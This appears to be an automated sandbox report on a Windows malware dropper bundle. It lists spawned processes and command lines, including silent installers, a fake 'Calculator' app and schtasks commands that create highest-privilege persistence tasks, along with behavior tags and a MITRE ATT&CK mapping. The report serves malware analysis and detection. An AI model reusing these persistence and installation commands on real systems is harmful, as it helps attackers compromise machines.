        Executes dropped EXE
        Loads dropped DLL
        
        PID:2432
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:5248
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--cSExK3QD"
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:4036
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ff86256dec0,0x7ff86256ded0,0x7ff86256dee0
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2400
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x140,0x144,0x148,0x11c,0x14c,0x7ff6357c9e70,0x7ff6357c9e80,0x7ff6357c9e90
        12⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5172
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1612 /prefetch:2
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5308
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --mojo-platform-channel-handle=1848 /prefetch:8
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3788
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --mojo-platform-channel-handle=2184 /prefetch:8
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1452
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2476 /prefetch:1
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1304
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2588 /prefetch:1
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2116
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3060 /prefetch:2
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies registry class
        
        PID:5188
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --mojo-platform-channel-handle=2756 /prefetch:8
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5656
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,16047351709658602221,14917342037942695606,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4036_397083374" --mojo-platform-channel-handle=3596 /prefetch:8
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4152
        
        C:\Users\Admin\Pictures\Adobe Films\8MG5_Yl4NctXT2Aj7sPjLRpy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8MG5_Yl4NctXT2Aj7sPjLRpy.exe"
        8⤵
        Executes dropped EXE
        
        PID:5892
        
        C:\Users\Admin\AppData\Local\Temp\is-T8EMD.tmp\8MG5_Yl4NctXT2Aj7sPjLRpy.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-T8EMD.tmp\8MG5_Yl4NctXT2Aj7sPjLRpy.tmp" /SL5="$3033E,506127,422400,C:\Users\Admin\Pictures\Adobe Films\8MG5_Yl4NctXT2Aj7sPjLRpy.exe"
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:920
        
        C:\Users\Admin\AppData\Local\Temp\is-DGC2J.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-DGC2J.tmp\DYbALA.exe" /S /UID=2709
        10⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:4000
        
        C:\Users\Admin\AppData\Local\Temp\cd-1ced2-cbc-078b8-192cbbfe512df\Libaexazhipi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cd-1ced2-cbc-078b8-192cbbfe512df\Libaexazhipi.exe"
        11⤵
        Executes dropped EXE
        
        PID:6024
        
        C:\Users\Admin\AppData\Local\Temp\9e-9eab4-5ef-026b4-6b2d696d353a6\Dojuxubeqi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\9e-9eab4-5ef-026b4-6b2d696d353a6\Dojuxubeqi.exe"
        11⤵
        
        PID:5752
        
        C:\Users\Admin\Pictures\Adobe Films\JMVc_wDqIQU22U4HU1niW2Jv.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\JMVc_wDqIQU22U4HU1niW2Jv.exe"
        8⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:2580
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:1496
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04a13875aa1c59b58.exe
      4⤵
      PID:784
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04a13875aa1c59b58.exe
        
        Fri04a13875aa1c59b58.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0431de7a47.exe
      4⤵
      PID:3088
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0431de7a47.exe
        
        Fri0431de7a47.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2924
      - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0431de7a47.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0431de7a47.exe
        6⤵
        Executes dropped EXE
        
        PID:5596
      - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0431de7a47.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0431de7a47.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:6000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0480a54c0d2a7.exe
      4⤵
      PID:1980
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0480a54c0d2a7.exe
        
        Fri0480a54c0d2a7.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1520 -s 1944
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2808
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri040df945a5.exe /mixone
      4⤵
      PID:4964
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri040df945a5.exe
        
        Fri040df945a5.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:1460
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 240
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5788
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri047a1b6fc980f8.exe
      4⤵
      PID:3480
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri047a1b6fc980f8.exe
        
        Fri047a1b6fc980f8.exe
        5⤵
        Executes dropped EXE
        
        PID:2756
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 296
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5540
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri042d82e64f594.exe
      4⤵
      PID:3132
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04b1200e850ea1bc.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2848
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2592 -s 652
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4472

C:\Users\Admin\AppData\Local\Temp\is-3S7K0.tmp\Fri0471ced4d802994.tmp
"C:\Users\Admin\AppData\Local\Temp\is-3S7K0.tmp\Fri0471ced4d802994.tmp" /SL5="$400A6,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0471ced4d802994.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3740
- C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0471ced4d802994.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0471ced4d802994.exe" /SILENT
  2⤵
  - Executes dropped EXE
  PID:1292

C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri042d82e64f594.exe
Fri042d82e64f594.exe
1⤵
- Executes dropped EXE
PID:2660

C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04b1200e850ea1bc.exe
Fri04b1200e850ea1bc.exe
1⤵
- Executes dropped EXE
PID:3216

C:\Users\Admin\AppData\Local\Temp\is-I1389.tmp\Fri0471ced4d802994.tmp
"C:\Users\Admin\AppData\Local\Temp\is-I1389.tmp\Fri0471ced4d802994.tmp" /SL5="$2020E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0471ced4d802994.exe" /SILENT
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2592 -ip 2592
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1520 -ip 1520
1⤵
PID:5876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3228 -ip 3228
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1460 -ip 1460
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2756 -ip 2756
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2016 -ip 2016
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4544 -ip 4544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5688 -ip 5688
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1912 -ip 1912
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2416 -ip 2416
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2996 -ip 2996
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5392

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery